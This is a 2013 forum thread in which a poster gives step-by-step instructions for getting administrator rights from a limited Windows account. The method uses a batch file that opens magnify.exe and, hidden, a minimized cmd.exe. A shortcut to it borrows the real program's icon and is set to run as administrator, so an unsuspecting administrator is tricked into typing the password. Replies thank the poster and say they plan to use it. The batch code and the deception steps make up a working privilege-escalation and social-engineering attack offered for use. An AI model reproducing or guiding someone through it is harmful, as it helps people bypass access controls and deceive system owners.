Thread: [How to gain Administrator Privileges with a limited account](#)

MrGalax1 - December 8, 2013, 8:35 am

This requires you to be able to write batch files.

- 1) Choose an innocent .exe file, in this example I will use magnify.exe because limited users can access it.
- 2) Write this code into notepad (replace
@echo off
start C:\Windows\System32\Magnify.exe
PING 1.1.1.1 -n 1 -w 1000 >NUL
start /MIN c:\windows\system32\cmd.exe
cls
exit
- 3) Save the file as anything you want as long as it is followed by .bat.
Under where you wrote the name you will see a "Save as type" box. Click the drop-down and select "All Files". Save it where you like.
- 4) Go to your desktop and create a shortcut to your batch file. Name the shortcut "your innocent file". So the example would be named Magnify.
- 5) To make it look convincing, change the icon. If you want the same icon as the original, right click the shortcut and select properties. Under the shortcut tab, click "Change icon". Where it asks for a file, enter the file location of your innocent file. This will give it the same icon.
- 6) Then, also under the shortcut tab, click "Advanced". Check the run as administrator box. Then click the OK button.
- 7) When you try to run the shortcut, a popup box will ask for an administrator password.
- 8) Get the administrator to type the password. They will think that you are trying to run the innocent file.
- 9) After they go away, you will be able to maximize the opened administrator command prompt.
- 10) Enjoy the ability to use the admin command prompt

Your welcome. I decided to post my method because it worked for me and I wanted to share a simple and effective method with everyone.

joshthebeasthacker - December 8, 2013, 11:50 am

what the fuck all my files are now in notepad form you dick

azceus - December 8, 2013, 12:36 pm

Great job and easy , thanks you bro

Zabuza? - December 8, 2013, 1:25 pm

Tried it, didn't exactly work for me, though I probably just screwed up. Thanks for your contribution.

What went wrong? This was written for Windows 7 and up. For Windows XP I think you have to use COMMAND.com not cmd.exe.

I don't have a clue what you have done to get that, the code runs an innocent file and command prompt. Just for the record, did you create an account just so you could insult me? I see this was your first post and you only joined today.

howard2525 - December 8, 2013, 3:12 pm

thank you sir! will be using this in the future!

WrathTheAbaddon - December 21, 2013, 10:15 pm

thanks man, i am going to for sure try this
